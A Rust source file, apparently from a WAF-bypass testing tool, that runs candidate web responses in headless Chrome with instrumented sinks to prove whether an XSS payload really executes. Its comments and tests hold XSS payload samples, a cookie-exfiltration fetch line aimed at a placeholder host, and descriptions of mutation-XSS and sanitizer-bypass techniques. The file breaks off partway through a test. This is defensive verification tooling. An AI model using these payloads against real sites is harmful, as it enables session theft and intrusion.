detonate 0.1.5

Prove an injected web payload actually EXECUTES (alert(1) fires), not just reflects: a shared XSS-execution oracle over a jsdet sandbox.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
//! Real-browser (headless **Chrome**) detonation engine.
//!
//! The default [`crate::detonate_html`] engine runs extracted JavaScript through
//! the [`jsdet`] sandbox (QuickJS-in-WASM). That is fast, dependency-light, and
//! false-positive-free for the JS-execution question, but jsdet's tag-soup DOM
//! does **not** model HTML5 re-serialization, so it structurally misses the
//! highest-value WAF bypasses:
//!
//!  * **mutation XSS (mXSS)**: markup that is inert as the WAF (and a naive
//!    parser) sees it, but mutates into executing script when a browser
//!    re-serializes it through an `innerHTML` sink (`<noscript>`, `<style>`,
//!    foreign-content `<svg>/<math>`, `<template>` confusion);
//!  * exotic / SMIL / popover auto-firing handlers that depend on real layout
//!    and the live event loop;
//!  * charset / parser-quirk confusion.
//!
//! Proving those requires a spec-correct browser. This module is that engine: it
//! builds an **instrumented** HTML harness (every dangerous sink. `alert`,
//! `confirm`, `prompt`, `eval`/`Function`, `fetch`/`sendBeacon`/`XHR`,
//! `document.write`, `window.open`, navigation, overridden to record into a
//! `data-x` attribute on `<html>`), runs the candidate response **both** as a
//! served document *and* through an `innerHTML`/`insertAdjacentHTML` mutation
//! sink, then reads the recorded sinks back out of the dumped DOM and returns
//! the same [`ExecutionProof`] shape the jsdet engine produces, so it is a
//! drop-in, more-accurate oracle.
//!
//! Chrome is located via `$WAFRIFT_CHROME_BIN` or a PATH search; when no browser
//! is present [`available`] is `false` and callers degrade to the jsdet engine.

use std::io::{Read as _, Write as _};
use std::net::{Ipv4Addr, TcpListener};
use std::path::PathBuf;
use std::process::{Command, Stdio};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant, SystemTime};

use crate::{ExecutionProof, SinkHit};

/// PATH candidates for a Chrome/Chromium binary, in preference order. A
/// Chromium-family browser is required (the `--headless=new --dump-dom`
/// contract); Firefox is not interchangeable here.
const CHROME_CANDIDATES: &[&str] = &[
    "google-chrome",
    "google-chrome-stable",
    "chromium",
    "chromium-browser",
    "chrome",
];

/// Locate a Chrome/Chromium binary: honour `$WAFRIFT_CHROME_BIN` first (an
/// explicit path or command name), then probe [`CHROME_CANDIDATES`] on `PATH`.
#[must_use]
pub fn chrome_binary() -> Option<String> {
    if let Ok(bin) = std::env::var("WAFRIFT_CHROME_BIN") {
        let bin = bin.trim();
        if !bin.is_empty() {
            return Some(bin.to_string());
        }
    }
    CHROME_CANDIDATES
        .iter()
        .find(|c| which_on_path(c).is_some())
        .map(|c| (*c).to_string())
}

/// True iff a headless-Chrome engine is available, callers use this to choose
/// the accurate browser oracle and fall back to jsdet otherwise.
#[must_use]
pub fn available() -> bool {
    chrome_binary().is_some()
}

/// Minimal `which`: return the first executable match for `cmd` across `$PATH`.
fn which_on_path(cmd: &str) -> Option<PathBuf> {
    // An explicit path short-circuits the PATH search.
    let direct = PathBuf::from(cmd);
    if direct.is_absolute() {
        return is_executable(&direct).then_some(direct);
    }
    let path = std::env::var_os("PATH")?;
    std::env::split_paths(&path)
        .map(|dir| dir.join(cmd))
        .find(|p| is_executable(p))
}

#[cfg(unix)]
fn is_executable(p: &std::path::Path) -> bool {
    use std::os::unix::fs::PermissionsExt;
    std::fs::metadata(p).is_ok_and(|m| m.is_file() && m.permissions().mode() & 0o111 != 0)
}

#[cfg(not(unix))]
fn is_executable(p: &std::path::Path) -> bool {
    p.is_file()
}

/// How long to let a single headless-Chrome detonation run before killing it.
/// A reflected-payload harness renders in well under a second; this is a DoS
/// backstop for a wedged browser, not a normal-path latency.
const CHROME_TIMEOUT: Duration = Duration::from_secs(15);

/// Detonate the JavaScript an HTML response `body` would execute in **real
/// headless Chrome**, returning the same [`ExecutionProof`] shape as the jsdet
/// engine (so `proof.proves("1")` works identically).
///
/// The body is exercised along **both** paths a reflected payload can take:
///  1. as a **served document** (inline `<script>`, auto-firing handlers, and
///     `javascript:` frames fire as the page parses), and
///  2. through a **mutation sink** (`innerHTML` + `insertAdjacentHTML`), which
///     is the only path that fires mXSS and many exotic handlers.
///
/// Returns an empty (`executed:false`) proof when no Chrome binary is available;
/// check [`available`] first to choose this engine deliberately.
#[must_use]
pub fn detonate_html_chrome(body: &str, _url: &str) -> ExecutionProof {
    let Some(chrome) = chrome_binary() else {
        return ExecutionProof::failed("no Chrome/Chromium binary available");
    };
    detonate_with_binary(&chrome, body)
}

/// Core: render the instrumented harness for `body` in `chrome` and parse the
/// recorded sinks. Split out so tests can target a specific binary.
#[must_use]
pub fn detonate_with_binary(chrome: &str, body: &str) -> ExecutionProof {
    let harness = build_harness(body);
    // Serve the harness from a real `http://127.0.0.1` origin rather than a
    // `file://` path. A `file://` document is an opaque origin where
    // `document.cookie` (and storage) THROW a SecurityError, so a cookie-exfil
    // handler like `fetch('//h/?c='+document.cookie)` aborts while evaluating
    // its argument, before any instrumented sink runs. Over http the origin is
    // non-opaque, so those origin-bound payloads detonate faithfully.
    let server = match HarnessServer::start(harness) {
        Ok(server) => server,
        Err(e) => {
            return ExecutionProof::failed(format!(
                "harness HTTP server failed to start on loopback: {e}"
            ));
        }
    };

    // Private, throwaway profile dir so a detonation NEVER touches the user's
    // real Chrome profile, and so concurrent detonations don't share state.
    let profile = TempProfile::new();
    let url = server.url();
    let mut cmd = Command::new(chrome);
    cmd.args([
        "--headless=new",
        "--no-sandbox",
        // `--no-zygote` keeps Chrome from forking a long-lived zygote that
        // re-parents renderer/gpu helpers away from our process; with it, the
        // helpers stay descendants of the process group we kill, so nothing
        // leaks after each run (the dev-box load-spike bug).
        "--no-zygote",
        "--disable-gpu",
        "--disable-dev-shm-usage",
        "--disable-extensions",
        "--disable-background-networking",
        "--no-first-run",
        "--no-default-browser-check",
        "--virtual-time-budget=3500",
        "--run-all-compositor-stages-before-draw",
        "--dump-dom",
    ])
    .arg(format!("--user-data-dir={}", profile.path.display()))
    .arg(&url)
    .stdin(Stdio::null())
    .stdout(Stdio::piped())
    .stderr(Stdio::null());
    // Run Chrome (and all its children) in a fresh process group so cleanup can
    // signal the entire tree, not just the launcher process.
    set_own_process_group(&mut cmd);

    let Some(stdout) = run_with_timeout(cmd, CHROME_TIMEOUT) else {
        return ExecutionProof::failed(format!(
            "Chrome failed to launch or timed out after {}s (binary: {chrome})",
            CHROME_TIMEOUT.as_secs()
        ));
    };
    let dom = String::from_utf8_lossy(&stdout);
    if !dom.contains("<html") && !dom.contains("<HTML") {
        return ExecutionProof::failed(format!(
            "Chrome DOM dump did not contain valid <html> document (binary: {chrome})"
        ));
    }
    let sinks = parse_sinks(&dom);
    proof_from_sinks(sinks)
}

/// Build an [`ExecutionProof`] from the chrome-captured sinks, mirroring the
/// jsdet engine's primary-sink selection (prefer a dialog so `proves("1")`
/// keeps working, else the first dangerous sink).
fn proof_from_sinks(sinks: Vec<SinkHit>) -> ExecutionProof {
    let mut proof = ExecutionProof {
        executed: !sinks.is_empty(),
        // The harness runs the body once as a served document and once through
        // the mutation sink; report that as the fragment count the engine ran.
        fragments_run: if sinks.is_empty() { 0 } else { 1 },
        ..Default::default()
    };
    if let Some(d) = sinks
        .iter()
        .find(|s| matches!(s.kind.as_str(), "alert" | "confirm" | "prompt"))
        .or_else(|| sinks.first())
    {
        proof.sink = Some(d.kind.clone());
        proof.message = Some(d.detail.clone());
    }
    proof.sinks = sinks;
    proof
}

/// JavaScript instrumentation injected into the harness `<head>`. Every
/// dangerous sink is overridden to append a canonical `[kind, detail]` pair to a
/// JSON array stored in the `data-x` attribute on `<html>`, which survives into
/// `--dump-dom` output. Kinds are written in the same vocabulary the jsdet
/// engine uses (`alert`/`network`/`eval`/`dom-write`/`popup`/`redirect`) so a
/// proof is engine-independent.
const INSTRUMENTATION: &str = r#"<script>
(function(){
  var H=document.documentElement, A="data-x";
  function REC(k,d){
    var cur=H.getAttribute(A); var arr=cur?JSON.parse(cur):[];
    arr.push([k,String(d)]); H.setAttribute(A, JSON.stringify(arr));
  }
  window.alert=function(v){REC("alert",v)};
  window.confirm=function(v){REC("confirm",v);return true};
  window.prompt=function(v){REC("prompt",v);return ""};
  window.fetch=function(u){REC("network",u);return Promise.resolve({ok:true,status:200,statusText:"OK",url:String(u),redirected:false,type:"basic",headers:{get:function(){return null},has:function(){return false}},clone:function(){return this},text:function(){return Promise.resolve("")},json:function(){return Promise.resolve({})},blob:function(){return Promise.resolve(null)},arrayBuffer:function(){return Promise.resolve(new ArrayBuffer(0))}})};
  if(navigator.sendBeacon) navigator.sendBeacon=function(u){REC("network",u);return true};
  try{ var _o=XMLHttpRequest.prototype.open;
       XMLHttpRequest.prototype.open=function(m,u){REC("network",u);return _o.apply(this,arguments)}; }catch(e){}
  var _e=window.eval; window.eval=function(c){REC("eval",c);try{return _e(c)}catch(x){}};
  try{ var _F=window.Function; window.Function=function(){REC("eval",Array.prototype.join.call(arguments,","));return _F.apply(this,arguments)}; }catch(e){}
  document.write=function(s){REC("dom-write",s)};
  document.writeln=function(s){REC("dom-write",s)};
  window.open=function(u){REC("popup",u);return {closed:false,focus:function(){},blur:function(){},close:function(){},postMessage:function(){},document:{write:function(s){REC("dom-write",s)},writeln:function(s){REC("dom-write",s)}},location:{href:String(u),assign:function(v){REC("redirect",v)},replace:function(v){REC("redirect",v)}}};};
})();
</script>"#;

/// Build the full instrumented harness page for `body`.
///
/// `body` is exercised along three paths so the engine catches every reflected
/// execution context a single browser run can reach:
///  1. **served document**: inserted inline; inline `<script>` and parse-time
///     auto-handlers fire as the page parses.
///  2. **mutation sink**: base64-decoded into a fresh element via `innerHTML`
///     and `insertAdjacentHTML`; fires insertion-time handlers and single-pass
///     mXSS. Base64 keeps this copy from perturbing the served-document parse.
///  3. **re-serialization round-trip**: the mutation sink's `innerHTML` is read
///     back out and re-assigned twice. This reproduces exactly what an HTML
///     sanitizer / templating layer does (parse → serialize → re-insert) and is
///     the ONLY path that fires **double-serialization mXSS** (the DOMPurify /
///     `mglyph`/`mtext`/foreign-content bypass class), markup whose first parse
///     is inert but whose *serialization* yields executing script. A static
///     single-parse engine (jsdet) cannot reach this.
fn build_harness(body: &str) -> String {
    let b64 = base64_encode(body.as_bytes());
    format!(
        "<!doctype html><html><head>{INSTRUMENTATION}</head><body>\n\
         <div id=\"__static\">{body}</div>\n\
         <div id=\"__sink\"></div>\n\
         <div id=\"__rt\"></div>\n\
         <script>\n\
         (function(){{\n\
           try{{var p=atob(\"{b64}\");}}catch(e){{return;}}\n\
           // The static copy (in __static) is the only one allowed to auto-focus;\n\
           // duplicate autofocus elements in the mutation-sink clones can prevent\n\
           // Chrome from focusing any of them.\n\
           try{{p = p.replace(/\\sautofocus\\b/g, \"\");}}catch(e){{}}\n\
           try{{document.getElementById(\"__sink\").innerHTML=p;}}catch(e){{}}\n\
           try{{document.getElementById(\"__sink\").insertAdjacentHTML(\"beforeend\",p);}}catch(e){{}}\n\
           try{{\n\
             var rt=document.getElementById(\"__rt\"); rt.innerHTML=p;\n\
             rt.innerHTML=rt.innerHTML;\n\
             rt.innerHTML=rt.innerHTML;\n\
           }}catch(e){{}}\n\
           // Explicitly focus the first remaining autofocus element so headless\n\
           // Chrome does not silently drop the onfocus handler due to contention.\n\
           try{{var el=document.querySelector(\"[autofocus]\"); if(el) el.focus();}}catch(e){{}}\n\
         }})();\n\
         </script>\n\
         </body></html>\n"
    )
}
/// Parse the recorded sinks out of `--dump-dom` output: find the `data-x`
/// attribute on `<html>`, HTML-unescape its value, and decode the JSON
/// `[[kind,detail],…]` array. Robust to the attribute being absent (no sink
/// fired → empty list).
fn parse_sinks(dumped_dom: &str) -> Vec<SinkHit> {
    let Some(raw) = extract_data_x(dumped_dom) else {
        return Vec::new();
    };
    let json = html_unescape(&raw);
    let Ok(pairs) = serde_json::from_str::<Vec<(String, String)>>(&json) else {
        return Vec::new();
    };
    // Dedup identical (kind, detail) pairs, the served-document and
    // mutation-sink paths can fire the same vector twice.
    let mut seen = std::collections::HashSet::new();
    pairs
        .into_iter()
        .filter(|(k, d)| seen.insert((k.clone(), d.clone())))
        .map(|(kind, detail)| SinkHit {
            kind,
            detail: crate::truncate(&detail),
        })
        .collect()
}

/// Extract the raw (still HTML-escaped) value of the `data-x` attribute from
/// dumped DOM. The attribute is emitted on `<html …>`; we scan for `data-x="`
/// and read to the closing quote.
fn extract_data_x(dom: &str) -> Option<String> {
    const KEY: &str = "data-x=\"";
    // The canary lives ONLY on the `<html>` element's start tag (set via
    // `document.documentElement.setAttribute`). Restrict the scan to that start
    // tag: a candidate page that merely REFLECTS the literal text `data-x="…"`
    // somewhere in its body (without ever executing the payload) must NOT be
    // able to spoof a successful detonation. `<html>` is the serialized document
    // root, so the first `<html` is always the real element; its start tag ends
    // at the first `>` (attribute values are HTML-escaped, so no literal `>`
    // appears inside them).
    let html_pos = dom.find("<html")?;
    let after_html = &dom[html_pos..];
    let tag_end = after_html.find('>')?;
    let html_tag = &after_html[..tag_end];
    let start = html_tag.find(KEY)? + KEY.len();
    let rest = &html_tag[start..];
    let end = rest.find('"')?;
    Some(rest[..end].to_string())
}

/// Minimal HTML-attribute unescape for the entities `--dump-dom` emits in an
/// attribute value (`&quot; &amp; &lt; &gt; &#39;`). Order matters: `&amp;`
/// last so a literal `&amp;quot;` is not double-decoded.
use crate::html_unescape;

/// Put the spawned process in its OWN process group so we can later signal the
/// whole tree (Chrome + renderer/gpu helpers) with one `kill(-pgid)`. On Unix
/// this is `setpgid(0,0)` in the child via `process_group(0)`.
#[cfg(unix)]
fn set_own_process_group(cmd: &mut Command) {
    use std::os::unix::process::CommandExt;
    cmd.process_group(0);
}

#[cfg(not(unix))]
fn set_own_process_group(_cmd: &mut Command) {}

/// SIGKILL the process group led by `pid` (negative-pid kill), reaping Chrome
/// and every helper it spawned. No-op on non-Unix. This is the leak fix: on a
/// clean `--dump-dom` exit the launcher returns but helpers can linger, so we
/// always sweep the group, not just on timeout.
#[cfg(unix)]
fn kill_process_group(pid: u32) {
    // SAFETY: `kill(2)` with a negative pid targets the process group; an
    // already-dead group yields ESRCH which we ignore. No memory is touched.
    unsafe {
        libc_kill(-(pid as i32), 9);
    }
}

#[cfg(not(unix))]
fn kill_process_group(_pid: u32) {}

// Minimal FFI to `kill(2)` so we needn't add the `nix`/`libc` crate just for
// one call. `pid < 0` signals the process group `-pid`.
#[cfg(unix)]
unsafe extern "C" {
    #[link_name = "kill"]
    fn libc_kill(pid: i32, sig: i32) -> i32;
}

/// Run `cmd` to completion, killing it if it exceeds `timeout`. Returns the
/// captured stdout on a clean exit, or `None` on spawn failure / timeout. The
/// process group is ALWAYS swept afterwards so no Chrome helper survives the
/// call. Backstops a wedged browser without a `wait_timeout` dependency.
fn run_with_timeout(mut cmd: Command, timeout: Duration) -> Option<Vec<u8>> {
    let mut child = cmd.spawn().ok()?;
    let pid = child.id();
    // Drain stdout on a dedicated thread so a large `--dump-dom` payload cannot
    // fill the OS pipe buffer and wedge Chrome. If we only read stdout AFTER the
    // process exits (via wait_with_output), any DOM larger than the pipe buffer
    // (~64KB on Linux) blocks Chrome on write - it never exits, we poll to the
    // deadline, and the whole DOM is lost. Concurrent draining removes the
    // deadlock and captures arbitrarily large output.
    let reader = child.stdout.take().map(|mut out| {
        std::thread::spawn(move || {
            let mut buf = Vec::new();
            let _ = std::io::Read::read_to_end(&mut out, &mut buf);
            buf
        })
    });
    let deadline = Instant::now() + timeout;
    let exited = loop {
        match child.try_wait() {
            Ok(Some(status)) => break status.success(),
            Ok(None) => {
                if Instant::now() >= deadline {
                    let _ = child.kill();
                    let _ = child.wait();
                    break false;
                }
                std::thread::sleep(Duration::from_millis(25));
            }
            Err(_) => break false,
        }
    };
    // Always sweep the whole group. Chrome's renderer/gpu helpers can outlive
    // the launcher's clean exit, which is exactly the process leak that spiked
    // the host's load. This also closes any inherited stdout fds so the reader
    // thread below reaches EOF and can be joined.
    kill_process_group(pid);
    // Recover the drained stdout. On a clean exit the reader has already EOF'd;
    // on a kill it EOFs once every pipe writer dies (swept above).
    let captured = reader.and_then(|handle| handle.join().ok());
    if exited { captured } else { None }
}

/// A self-deleting temp HTML file holding the harness.
/// An ephemeral, single-origin HTTP server that serves the instrumented harness
/// on `127.0.0.1:0` (a kernel-assigned free port) for exactly one detonation.
///
/// Chrome loads the harness from a real `http://` origin instead of `file://`,
/// so origin-sensitive APIs behave as they would against a live target:
/// `document.cookie` and `localStorage` are readable (they THROW on a `file://`
/// opaque origin) and protocol-relative `fetch`/exfil handlers run. The server
/// binds only to loopback, serves the same harness bytes to every request
/// (chrome fetches `/` and maybe `/favicon.ico`), and shuts its accept loop down
/// on drop so nothing lingers after the run.
struct HarnessServer {
    port: u16,
    stop: Arc<AtomicBool>,
    thread: Option<std::thread::JoinHandle<()>>,
}

impl HarnessServer {
    fn start(harness: String) -> std::io::Result<Self> {
        let listener = TcpListener::bind((Ipv4Addr::LOCALHOST, 0))?;
        listener.set_nonblocking(true)?;
        let port = listener.local_addr()?.port();
        let stop = Arc::new(AtomicBool::new(false));
        let stop_thread = Arc::clone(&stop);

        // Pre-render the full HTTP/1.1 response once; every connection gets it.
        let body = harness.into_bytes();
        let mut response = format!(
            "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\
             Content-Length: {}\r\nConnection: close\r\n\r\n",
            body.len()
        )
        .into_bytes();
        response.extend_from_slice(&body);

        let thread = std::thread::spawn(move || {
            while !stop_thread.load(Ordering::Relaxed) {
                match listener.accept() {
                    Ok((mut sock, _)) => {
                        // Accepted sockets can inherit the listener's
                        // non-blocking flag; force blocking + a read timeout so
                        // we reliably drain the request then reply.
                        let _ = sock.set_nonblocking(false);
                        let _ = sock.set_read_timeout(Some(Duration::from_millis(200)));
                        let mut buf = [0u8; 2048];
                        let _ = sock.read(&mut buf);
                        let _ = sock.write_all(&response);
                        let _ = sock.flush();
                    }
                    Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => {
                        std::thread::sleep(Duration::from_millis(2));
                    }
                    Err(_) => break,
                }
            }
        });

        Ok(Self {
            port,
            stop,
            thread: Some(thread),
        })
    }

    fn url(&self) -> String {
        format!("http://127.0.0.1:{}/", self.port)
    }
}

impl Drop for HarnessServer {
    fn drop(&mut self) {
        self.stop.store(true, Ordering::Relaxed);
        if let Some(t) = self.thread.take() {
            let _ = t.join();
        }
    }
}

/// A self-deleting throwaway Chrome profile directory, so a detonation never
/// reads or writes the operator's real Chrome profile and concurrent runs stay
/// isolated.
struct TempProfile {
    path: PathBuf,
}

impl TempProfile {
    fn new() -> Self {
        let base = unique_temp_path();
        // Reuse the unique-name generator, but as a directory.
        let path = base.with_extension("profile");
        let _ = std::fs::create_dir_all(&path);
        Self { path }
    }
}

impl Drop for TempProfile {
    fn drop(&mut self) {
        let _ = std::fs::remove_dir_all(&self.path);
    }
}

/// Process-unique temp path for a harness file, pid + nanosecond clock + a
/// monotonic counter, so concurrent detonations never collide (no `rand` dep).
fn unique_temp_path() -> PathBuf {
    static COUNTER: AtomicU64 = AtomicU64::new(0);
    let n = COUNTER.fetch_add(1, Ordering::Relaxed);
    let nanos = SystemTime::now()
        .duration_since(SystemTime::UNIX_EPOCH)
        .map(|d| d.as_nanos())
        .unwrap_or(0);
    let pid = std::process::id();
    std::env::temp_dir().join(format!("detonate-{pid}-{nanos}-{n}.html"))
}

/// Standard base64 (RFC 4648) encoder, small, dependency-free, used to embed
/// the mutation-sink copy of the body in the harness so it does not disturb the
/// served-document parse.
fn base64_encode(input: &[u8]) -> String {
    const T: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    let mut out = String::with_capacity(input.len().div_ceil(3) * 4);
    for chunk in input.chunks(3) {
        let b0 = chunk[0] as u32;
        let b1 = *chunk.get(1).unwrap_or(&0) as u32;
        let b2 = *chunk.get(2).unwrap_or(&0) as u32;
        let n = (b0 << 16) | (b1 << 8) | b2;
        out.push(T[(n >> 18 & 63) as usize] as char);
        out.push(T[(n >> 12 & 63) as usize] as char);
        out.push(if chunk.len() > 1 { T[(n >> 6 & 63) as usize] as char } else { '=' });
        out.push(if chunk.len() > 2 { T[(n & 63) as usize] as char } else { '=' });
    }
    out
}

#[cfg(test)]
mod tests {
    use super::*;

    // ─────────────── pure-unit tests (no browser needed) ───────────────

    #[test]
    fn base64_matches_known_vectors() {
        assert_eq!(base64_encode(b""), "");
        assert_eq!(base64_encode(b"f"), "Zg==");
        assert_eq!(base64_encode(b"fo"), "Zm8=");
        assert_eq!(base64_encode(b"foo"), "Zm9v");
        assert_eq!(base64_encode(b"foob"), "Zm9vYg==");
        assert_eq!(base64_encode(b"fooba"), "Zm9vYmE=");
        assert_eq!(base64_encode(b"foobar"), "Zm9vYmFy");
    }

    #[test]
    fn base64_roundtrips_payload_bytes() {
        // The harness embeds the body via base64 → atob; the encoding must be
        // exact for arbitrary payload bytes (quotes, angle brackets, UTF-8).
        let p = r#"<svg onload=alert('héllo "1"')>"#;
        let enc = base64_encode(p.as_bytes());
        assert!(enc.chars().all(|c| c.is_ascii_alphanumeric() || "+/=".contains(c)));
    }

    #[test]
    fn extract_data_x_reads_attribute() {
        let dom = r#"<html data-x="[[&quot;alert&quot;,&quot;1&quot;]]"><head></head></html>"#;
        assert_eq!(extract_data_x(dom).as_deref(), Some("[[&quot;alert&quot;,&quot;1&quot;]]"));
    }

    #[test]
    fn extract_data_x_absent_is_none() {
        assert_eq!(extract_data_x("<html><head></head></html>"), None);
    }

    #[test]
    fn extract_data_x_ignores_reflected_body_attribute() {
        // Regression for chrome.rs:289: a page that reflects the literal text
        // `data-x="…"` in its body WITHOUT the payload executing (so <html> has
        // no data-x) must NOT be read as a successful detonation. The canary is
        // only trusted on the <html> start tag.
        let dom = r#"<html><head></head><body><div data-x="[[&quot;alert&quot;,&quot;1&quot;]]">reflected</div></body></html>"#;
        assert_eq!(extract_data_x(dom), None);
        assert!(parse_sinks(dom).is_empty(), "reflected canary must not count as a sink hit");
    }

    #[test]
    fn extract_data_x_prefers_html_tag_over_reflected_body() {
        // Genuine detonation set data-x on <html>; the body ALSO reflects a
        // different (attacker-chosen) data-x. The real one on <html> wins.
        let dom = r#"<html data-x="[[&quot;alert&quot;,&quot;real&quot;]]"><body><span data-x="[[&quot;alert&quot;,&quot;fake&quot;]]"></span></body></html>"#;
        assert_eq!(
            extract_data_x(dom).as_deref(),
            Some("[[&quot;alert&quot;,&quot;real&quot;]]")
        );
        let sinks = parse_sinks(dom);
        assert_eq!(sinks.len(), 1);
        assert_eq!(sinks[0].detail, "real");
    }

    #[test]
    fn html_unescape_decodes_dump_dom_entities() {
        assert_eq!(html_unescape("[[&quot;alert&quot;,&quot;1&quot;]]"), r#"[["alert","1"]]"#);
        assert_eq!(html_unescape("&lt;svg&gt; &amp; x"), "<svg> & x");
    }

    #[test]
    fn parse_sinks_decodes_dumped_dom() {
        let dom = r#"<html data-x="[[&quot;alert&quot;,&quot;1&quot;],[&quot;network&quot;,&quot;//evil/&quot;]]"><body></body></html>"#;
        let sinks = parse_sinks(dom);
        assert_eq!(sinks.len(), 2);
        assert_eq!(sinks[0].kind, "alert");
        assert_eq!(sinks[0].detail, "1");
        assert_eq!(sinks[1].kind, "network");
        assert_eq!(sinks[1].detail, "//evil/");
    }

    #[cfg(unix)]
    #[test]
    fn run_with_timeout_drains_output_larger_than_pipe_buffer() {
        // Regression for chrome.rs:348: emit ~200KB (far past the ~64KB pipe
        // buffer) to stdout. The old code only read stdout after exit, so the
        // writer would block on a full pipe, never exit, and hit the timeout
        // (returning None). Concurrent draining must capture the full output.
        const N: usize = 200_000;
        let mut cmd = Command::new("sh");
        cmd.arg("-c")
            .arg(format!("tr '\\0' 'a' < /dev/zero | head -c {N}"))
            .stdin(Stdio::null())
            .stdout(Stdio::piped())
            .stderr(Stdio::null());
        // Own process group so run_with_timeout's kill(-pid) sweep targets only
        // this child's group, never the test runner.
        set_own_process_group(&mut cmd);
        let out = run_with_timeout(cmd, Duration::from_secs(10))
            .expect("large stdout must be captured, not deadlocked into a timeout");
        assert_eq!(out.len(), N, "entire pipe-buffer-exceeding output captured");
        assert!(out.iter().all(|&b| b == b'a'));
    }

    #[test]
    fn parse_sinks_dedups_identical_hits() {
        // The served-doc and mutation-sink paths firing the same vector must
        // not double-count.
        let dom = r#"<html data-x="[[&quot;alert&quot;,&quot;1&quot;],[&quot;alert&quot;,&quot;1&quot;]]"></html>"#;
        assert_eq!(parse_sinks(dom).len(), 1);
    }

    #[test]
    fn parse_sinks_empty_without_attribute() {
        assert!(parse_sinks("<html></html>").is_empty());
    }

    #[test]
    fn proof_prefers_dialog_as_primary() {
        let sinks = vec![
            SinkHit { kind: "network".into(), detail: "//evil/".into() },
            SinkHit { kind: "alert".into(), detail: "1".into() },
        ];
        let p = proof_from_sinks(sinks);
        assert!(p.executed);
        assert_eq!(p.sink.as_deref(), Some("alert"));
        assert!(p.proves("1"), "dialog must be primary so proves() works: {p:?}");
    }

    #[test]
    fn proof_empty_for_no_sinks() {
        let p = proof_from_sinks(Vec::new());
        assert!(!p.executed && p.sink.is_none() && p.sinks.is_empty());
    }

    #[test]
    fn harness_embeds_both_paths() {
        let h = build_harness("<svg onload=alert(1)>");
        assert!(h.contains("__static"), "served-document path present");
        assert!(h.contains("__sink"), "mutation-sink path present");
        assert!(h.contains("innerHTML"), "innerHTML mutation present");
        assert!(h.contains("insertAdjacentHTML"), "insertion path present");
        assert!(h.contains("data-x"), "instrumentation present");
    }

    // ─────────────── live chrome detonation (gated) ───────────────
    // These run only where a browser is available. On the build/dogfood hosts
    // Chrome IS present, so they execute and validate the engine end-to-end;
    // elsewhere they skip cleanly rather than fail a portable build.

    fn chrome_or_skip() -> Option<String> {
        match chrome_binary() {
            Some(b) => Some(b),
            None => {
                eprintln!("SKIP: no chrome binary (set WAFRIFT_CHROME_BIN to run browser tests)");
                None
            }
        }
    }

    #[test]
    fn chrome_proves_static_alert() {
        let Some(c) = chrome_or_skip() else { return };
        let p = detonate_with_binary(&c, "<script>alert(1)</script>");
